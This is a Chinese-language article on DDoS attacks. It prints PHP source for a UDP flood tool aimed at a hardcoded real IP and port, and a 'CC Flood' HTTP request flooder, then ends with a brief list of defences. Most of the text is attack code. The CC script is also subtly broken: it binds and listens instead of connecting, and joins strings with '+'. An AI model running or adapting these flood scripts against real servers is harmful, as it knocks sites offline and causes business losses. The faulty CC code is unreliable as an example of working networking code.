原理:通过控制大量的计算机(肉鸡)向目标服务器发送海量的请求,使服务器资源被耗尽,无法正常提供服务。
危害:会导致网站瘫痪,无法访问;影响网站的声誉和用户体验;可能造成业务损失,如电商网站无法下单、支付等。
UDP攻击源码
代码中通过fsockopen
函数创建UDP连接,向目标IP和端口发送数据包,并在循环中不断重复此操作,形成持续的攻击流量。
$packets = 0; $ip = '116.255.242.14'; $port = 80; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = '60'; $time = time(); echo '状态 : 正常运行中.....<br><br>'; $max_time = $time+$exec_time; $out=null; for($i=0;$i<65535;$i++){ $out .= 't'; } while(true){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo " 攻击包时长:<font color=Red><span class="text">".$exec_time." 秒</span><br><br></font>"; echo " 攻击包总数:<font color=Red><span class="text">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量:<font color=Red><span class="text">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节:<font color=Red><span class="text">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s ";
CC攻击源码
利用socket函数创建TCP连接,模拟正常的HTTP请求,向目标网站发送大量的请求,消耗服务器的资源。
echo "状态 : 正常运行中.....<br>"; echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " CC Flood 模块<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; error_reporting(E_ALL); //提示错误信息 set_time_limit(0); //设定一个程式所允许执行的秒数 0 是无限循环 ob_implicit_flush(); // 刷新输出缓冲 $address = $_POST['site']; // 网站地址 $port = $_POST['port']; // 端口 $dongu = $_POST['dongu']; //循环次数 $sayi = 1; while ( $sayi <= $dongu ) //变量asyi小于 循环次数变量 dongu 才会继续循环 { if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "HaHa "; } if (socket_bind($sock, $address, $port) === false) { // 连接端口 echo "HaHa "; } if (socket_listen($sock, 5) === false) { echo "HaHa "; } $msg = "HTTP/1.1 GET /r Host:"+$_GET['site']+"r Connection: Keep-Aliver "; socket_write($msg); socket_close($sock); $sayi++; // 循环一次 变量sayi 加1 ".$sayi; // 输出循环次数 }
限制请求频率:使用服务器配置或应用程序代码来限制单个IP地址的请求频率,超过阈值则拒绝服务。
启用防火墙:配置防火墙规则,过滤反面的IP地址和流量。
优化服务器性能:提高服务器硬件配置,优化软件和数据库,以增强服务器的抗压能力。
隐藏真实IP地址:使用CDN或反向代理服务器来隐藏真实的服务器IP地址,增加攻击者的难度。